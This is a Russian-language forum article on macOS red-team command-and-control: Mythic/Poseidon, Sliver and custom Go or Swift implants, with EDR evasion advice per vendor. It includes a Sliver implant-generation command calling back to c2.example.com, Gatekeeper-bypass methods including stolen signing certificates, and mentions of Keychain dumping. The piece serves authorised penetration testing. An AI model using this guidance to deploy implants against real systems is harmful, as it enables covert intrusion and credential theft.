Статья macOS Red Team инструменты: Mythic, Sliver, Poseidon и кастомные имплантаты для offensive-операций

Тёмная лаборатория, освещённая только мониторами: на большом экране — панель управления C2 с таблицей активных агентов, на малом — терминал компиляции импланта.


На последнем red team-проекте против финтех-компании 80% парка оказалось на macOS Sonoma под Jamf MDM, а CrowdStrike Falcon for Mac стоял на каждой машине. Первый Sliver-имплант на x86_64 сгорел при запуске - XProtect опознал сигнатуру за секунды. Перекомпилированный под arm64 с ad-hoc подписью прошёл Gatekeeper, но Falcon поймал beacon на второй минуте по паттерну DNS-резолвинга. Рабочий вариант собрался только на третий день: кастомный Go-имплант с jitter 30–50%, HTTPS-профилем под трафик Slack API. Три дня от первого foothold до стабильного C2-канала.

Ниже - разбор C2 фреймворков для macOS, которые реально работают в 2025 году. С ограничениями по каждому EDR и привязкой к kill chain.

Kill chain macOS-операции: где стоит C2

Корпоративный Mac - это Keychain с OAuth-токенами, VPN-конфигурации, активные сессии Slack и Teams, SSH-ключи без пассфразы. По данным CrowdStrike Global Threat Report 2025, 79% атак проходят без malware (living off the land), а 75% вторжений задействуют действительные учётные данные. Один скомпрометированный Mac с активной SSO-сессией даёт lateral movement без единого эксплойта.

C2-фреймворк решает три конкретные задачи: стабильный канал управления в обход EDR, пост-эксплуатация macOS-специфичных хранилищ (Keychain, TCC-базы), опорная точка для перемещения в корпоративную сеть.

Полная цепочка с привязкой к MITRE ATT&CK:
  1. Initial access - spear-phishing с .dmg/.pkg, supply chain, watering hole
  2. Defense Evasion - обход Gatekeeper (T1553.001, Gatekeeper Bypass). Атомарные тесты Atomic Red Team для T1553.001 реализованы для macOS (executor: sh). Evasion предшествует execution - не смешивать
  3. Execution - запуск payload. Malicious File (T1204.002) описана MITRE как кроссплатформенная техника, но публичные тесты Atomic Red Team для неё реализованы только под Windows. На macOS готовых атомарных тестов нет, валидация требует кастомных сценариев
  4. C2 callback - имплант устанавливает связь с C2-сервером
  5. Persistence - LaunchAgent/LaunchDaemon, Dylib Hijacking (T1574.004, тактики Persistence, Privilege Escalation и Defense Evasion)
  6. Post-exploitation - Keychain dump, credential harvesting, lateral movement
C2 - мост между одноразовым foothold и полноценной операцией. Без стабильного канала вы теряете доступ при первом reboot.

Fingerprinting перед выбором C2​

[Применимо: внутренний и внешний пентест, macOS Ventura 13.x - Sequoia 15.x]

Перед развёртыванием C2 на macOS-таргете нужно ответить на четыре вопроса. От них зависит выбор фреймворка и конфигурации:
  1. Версия macOS и архитектура. sw_vers и uname -m дают версию ОС и тип процессора (arm64 vs x86_64). На Apple Silicon AMFI блокирует неподписанный код даже при отключённых Gatekeeper и SIP - для доставки это критично
  2. Какой EDR стоит. Через ps aux | grep -i -E "falcon|sentinelone|kaspersky" или анализ LaunchDaemons в /Library/LaunchDaemons/. Конкретный вендор определяет допустимый транспорт и профиль трафика
  3. MDM-провайдер. Jamf (jamf checkJSSConnection), Kandji, другой. MDM мониторит изменения в LaunchAgents через Endpoint Security API - persistence сразу под вопросом
  4. Сетевые ограничения. Прокси, Little Snitch / Lulu (user-mode файрволы), корпоративный DNS - всё это определяет, какой транспорт (HTTPS, DNS, mTLS) пройдёт. Little Snitch блокирует исходящие соединения неизвестных процессов и показывает пользователю alert - staging через DNS в таких условиях бесполезен, соединение умрёт до установки канала

Mythic C2 macOS: архитектура и Poseidon-агент​

[Применимо: внутренний и внешний пентест, macOS Ventura 13.x - Sequoia 15.x]

Mythic - мультиплатформенный C2-фреймворк от SpecterOps с агент-агностичной архитектурой. Ключевое: сервер не привязан к конкретному агенту. Подключаете агент как Docker-контейнер - получаете единый веб-интерфейс, логирование операций и мультиоператорный режим. Несколько пентестеров работают с одними агентами одновременно, видя действия друг друга в реальном времени.

Требования к окружению для Mythic-сервера: Linux (Ubuntu 20.04+), минимум 4 ГБ RAM (рекомендуется 8 ГБ при параллельной работе нескольких операторов), Docker и Docker Compose. Go 1.21+ подтягивается автоматически при компиляции Poseidon-payload. Сеть: HTTPS/HTTP listener на сервере, опционально DNS для fallback-канала.

Poseidon - основной macOS-агент для Mythic, написан на Go. По данным SentinelOne, Poseidon - Golang-агент, который "beacons back to an operator" и даёт набор пост-эксплуатационных возможностей: работа с Keychain, screenshot, clipboard monitoring, file browser, shell execution, process listing.

Payload создаётся через веб-интерфейс Mythic: выбираете агент Poseidon, указываете callback host/port, транспорт (HTTP/HTTPS/websocket), callback interval и jitter. Сервер компилирует Go-бинарь и отдаёт готовый файл.

Другие macOS-агенты в Mythic:
  • Apfell - JXA-агент в MythicAgents/apfell. Apfell было оригинальным названием самого Mythic framework (переименован ~2020); JXA-агент сохранил имя, но активная разработка сместилась к Poseidon
  • Apollo - .NET-агент Mythic, заточен под Windows (MythicAgents/Apollo). Техника подмены JSS URL в /Library/Preferences/com.jamfsoftware.jamf.plist для перехвата C2-канала через MDM описана в сообществе, но специализированный Mythic-агент для JAMF abuse в публичном репозитории MythicAgents на момент написания не обнаружен
  • Orthrus - упоминается в контексте доставки через .mobileconfig-профили MDM, но публичный репозиторий MythicAgents/Orthrus на момент написания недоступен; существование и статус агента не подтверждены
Не путать: Poseidon (Mythic-агент) и Poseidon Stealer - совершенно разные инструменты с одинаковым именем. По данным Red Canary, Poseidon Stealer был активен в 2024–начале 2025, затем продан и ребрендирован как Odyssey Stealer. Это криминальная macOS-малварь, к Mythic-агенту отношения не имеет.

Когда Mythic НЕ работает:
  • Little Snitch / Lulu - пользовательские файрволы блокируют исходящие соединения Poseidon-агента, требуя ручного разрешения от жертвы. Staging проваливается без social engineering
  • CrowdStrike Falcon for Mac - мониторит child-процессы от osascript и shell-команд, прямое выполнение через do shell script ловится поведенческим движком
  • AMFI на Apple Silicon - payload без code signing блокируется при загрузке в память, даже если Gatekeeper и SIP отключены. В логах ядра: "AMFI: code signature validation failed"
  • Overhead развёртывания - Docker-инфраструктура избыточна для quick one-shot пентеста. Если нужен быстрый результат - Sliver проще

Sliver framework macOS: монолитный C2 с нативной кросс-компиляцией​

[Применимо: внутренний и внешний пентест, macOS Ventura 13.x - Sequoia 15.x]

Sliver от BishopFox - C2-фреймворк, компилирующий имплант как нативный Go-бинарь. В отличие от модульного Mythic, Sliver монолитен: сервер, генерация имплантов и управление - один бинарь. Операторский интерфейс - CLI через gRPC (не веб).

Требования к окружению: Linux или macOS для сервера, минимум 2 ГБ RAM, Go toolchain подтягивается автоматически. Cross-compilation для macOS arm64/x86_64 встроена - отдельный macOS-хост не нужен.

Архитектурные отличия от Mythic:
  • Транспорты: mTLS, HTTPS, DNS, WireGuard - набор каналов шире
  • Встроенная поддержка arm64 и x86_64 без дополнительной конфигурации
  • Расширяемость через BOF (Beacon Object Files) и extensions
  • Мультиоператорный режим через gRPC
Bash:
# Генерация stageless HTTPS-импланта для macOS arm64
# Сервер: Sliver CLI, предварительно настроен HTTPS listener
generate --os darwin --arch arm64 \
  --http https://c2.example.com \
  --name macos-implant \
  --skip-symbols \
  --save /tmp/
# --skip-symbols убирает debug-символы, уменьшая размер
# и затрудняя статический анализ
# --save указывает путь для сохранения бинаря
# Синтаксис для Sliver 1.5.x; при расхождении см. generate --help
Stageless vs staged - для macOS однозначно stageless. Staged-имплант делает два сетевых обращения: первое за стейджером, второе за основным payload. На машинах с Little Snitch или корпоративным прокси это удваивает шансы на обнаружение. Stageless бинарь тяжелее (8–15 МБ), зато один callback - и ты внутри.

Когда Sliver НЕ работает:
  • SentinelOne for macOS - детектирует стандартные Sliver-импланты по поведенческим паттернам при staging. DNS-транспорт палится особенно быстро: характерная длина поддомена, частота запросов
  • Размер бинаря - 8–15 МБ подозрительно для "утилиты", доставляемой через фишинг
  • Дефолтные HTTP-профили - легко сигнатурятся XProtect и EDR. Malleable profiles обязательны
  • macOS-специфичные команды ограничены по сравнению с Poseidon: нет встроенного доступа к Keychain, нет clipboard monitoring - всё через shell или BOF

Mythic vs Sliver для macOS: trade-off таблица​

КритерийMythic + PoseidonSliver
Размер бинаря (arm64)5–10 МБ8–15 МБ
ТранспортыHTTP/HTTPS, websocketmTLS, HTTPS, DNS, WireGuard
Интерфейс оператораWeb UI (мультиплеер)CLI через gRPC (мультиплеер)
macOS-командыKeychain, screenshot, clipboard (встроены)Базовые; расширяемо через BOF/extensions
Sleep mask / obfuscationНет нативной в PoseidonНет нативной
Детектируемость (дефолт)Средняя - Poseidon менее распространён, сигнатуры обновляютсяВысокая - Sliver популярен, сигнатуры свежие
ExtensibilityНовые агенты через DockerBOF, .NET assemblies, extensions
Когда использоватьДлительные macOS-операции, нужен Keychain и macOS APIМультиплатформенные операции, DNS/WireGuard, быстрый старт
Когда НЕ использоватьQuick one-shot (overhead Docker)macOS-only с глубокой post-exploitation

Decision tree выбора:
  • Таргет - чисто macOS-флот, операция на недели, нужен Keychain → Mythic + Poseidon
  • Смешанный парк (macOS + Windows + Linux), нужен DNS-канал → Sliver
  • Зрелый SOC с CrowdStrike/SentinelOne, любой публичный C2 сгорит → кастомный имплант

Кастомные имплантаты macOS: когда фреймворков недостаточно

[Применимо: red team-операции против зрелых SOC с macOS EDR]

Публичные фреймворки на инфраструктуре с актуальным EDR - подписанный приговор. CrowdStrike и SentinelOne обновляют сигнатуры Sliver и Poseidon регулярно. Кастомный имплант - единственный рабочий вариант.

Go vs Swift: выбор языка​

Go - стандарт для кроссплатформенных имплантов. Poseidon написан на Go, набор библиотек для C2-коммуникаций (HTTP-клиенты, crypto, DNS) зрелый. Проблема: Go-бинари характерно тяжёлые (5+ МБ) и имеют узнаваемую структуру секций.

Swift - нативный для macOS, бинари значительно меньше, вызовы macOS API выглядят легитимно без прослойки cgo. Проблема: нет кроссплатформенности, сложнее CI/CD.

Objective-C - для работы с legacy Cocoa API и Kerberos. Bifrost (инструмент для macOS Kerberos-атак) написан на Objective-C для взаимодействия с Heimdal krb5 API.

Для чистых macOS-операций Swift даёт меньший footprint и лучшую мимикрию. Для мультиплатформенных - Go с агрессивной обфускацией. В большинстве смешанных проектов из моей практики кастомный имплант был на Go - потому что флот смешанный и один бинарь собирался под darwin/arm64, darwin/amd64 и linux/amd64.

Подписание кода и Gatekeeper Bypass​

Обход Gatekeeper (T1553.001, тактика Defense Evasion) - обязательный этап, отдельный от execution. Три варианта:
  1. Ad-hoc signing через codesign --force --deep --sign - - минимальный. На Sequoia 15.x требуется ручное разрешение через System Settings → Privacy & Security
  2. Developer ID (купленный или украденный) - бинарь проходит Gatekeeper и нотаризацию, если сертификат не отозван Apple
  3. Доставка без quarantine - файлы через curl, wget или SMB-шару (Finder → Cmd+K) не получают атрибут com.apple.quarantine и обходят Gatekeeper полностью
По данным Red Canary, в октябре 2024 Apple закрыла уязвимость, позволявшую обходить Gatekeeper через правый клик → "Открыть". Малварь (включая Atomic Stealer) раньше инструктировала жертв именно так. После патча распространение сместилось к ClickFix / paste-and-run методам - social engineering вместо технических уязвимостей.

AMFI на Apple Silicon проверяет подпись при загрузке бинаря в память независимо от Gatekeeper и SIP. На Apple Silicon ad-hoc signing - минимальное требование, полностью неподписанный код не запустится.

XProtect evasion​

XProtect - антивирусный движок Apple с сигнатурами на базе YARA-правил, обновляется автоматически. Стандартные Sliver/Mythic payload попадают в базу. По данным SentinelOne, среди macOS payload выделяют минимум 7 техник обфускации. На практике для обхода XProtect хватает двух: шифрование строк (характерные user-agent, URL-паттерны) и пересборка из исходников с рефакторингом структуры бинаря - переименование функций, изменение порядка инициализации.

OPSEC и evasion по вендорам macOS EDR​

CrowdStrike Falcon for Mac​

  • Мониторит child-процессы от curl, wget, osascript - паттерн "curl скачивает бинарь → бинарь запускается" триггерит alert
  • DNS-каналы Sliver детектируются по длине поддомена и частоте запросов
  • Обход: кастомный HTTP-профиль с jitter 30–50%, мимикрия под легитимный SaaS-трафик (Slack API, Teams webhooks), не использовать osascript как launcher

SentinelOne for macOS​

  • Поведенческий анализ при staging: двухфазная загрузка (stager → payload) = alert
  • Детектирует стандартные Sliver mTLS-хендшейки по характерным TLS-параметрам
  • Обход: stageless имплант, HTTPS с кастомным SNI, доставка через легитимный прокси-endpoint

Kaspersky Endpoint Security for Mac​

  • Менее агрессивен в поведенческом анализе - приоритет на сигнатурной базе
  • Обход: пересборка импланта с изменением структуры бинаря обычно достаточна, поведенческий детект срабатывает реже

Sigma-правила и D3FEND​

В SigmaHQ есть правило proc_creation_macos_xattr_gatekeeper_bypass.yml - детектирует снятие quarantine через xattr -d на macOS. Для T1204.002 - proc_creation_macos_office_susp_child_processes.yml: подозрительные child-процессы от Office. D3FEND рекомендует Content Quarantine (D3-CQ) для T1553.001 и File Integrity Monitoring (D3-FIM) для T1574.004 - на это опирается blue team при детекте.

Persistence и post-exploitation через macOS C2​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Оговорка: мой опыт сосредоточен на Sonoma и Ventura. Sequoia 15.x вводит дополнительные ограничения, которые я ещё не тестировал в полной мере. Apple ужесточает правила с каждым релизом, и конкретное поведение AMFI и Background Task Management в Sequoia 15.4+ требует отдельной верификации.

По опыту двух десятков macOS-операций, главная проблема - не выбор фреймворка, а культурная. Большинство red team-специалистов приходят из Windows-мира и пытаются перенести привычные паттерны: COM-объекты заменяют на LaunchAgent, mimikatz на security dump-keychain, psexec на SSH. Формально работает, но macOS - другой зверь. Keychain prompt, TCC-consent, AMFI, нотаризация - каждый слой требует отдельного обхода, и здесь нет аналога "отключил Windows Defender и работай". Apple строит эшелонированную защиту, где каждый уровень автономен.

Публичные C2 (Mythic, Sliver) - инструменты обучения и отладки. Они показывают правильную архитектуру C2-коммуникаций: callback intervals, jitter, профилирование трафика. Но ставить Sliver с дефолтным профилем против CrowdStrike Falcon - это как запускать windows/meterpreter/reverse_tcp против корпоративного EDR в 2025 году. Через год-два ad-hoc signing на macOS, вероятно, перестанет работать без многоступенчатого consent через System Settings. Будущее macOS offensive - supply chain delivery и signed implants: легитимные Developer ID, доставка через скомпрометированный MDM, или social engineering, где пользователь сам проходит три экрана предупреждений. Кто не научится писать кастомные агенты и работать с code signing на уровне macOS internals - останется с нерабочим tooling. Если хочется обкатать C2-цепочку от доставки до Keychain dump на практике - на HackerLab есть задачи с этой механикой, где путь проходится без подсказок.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab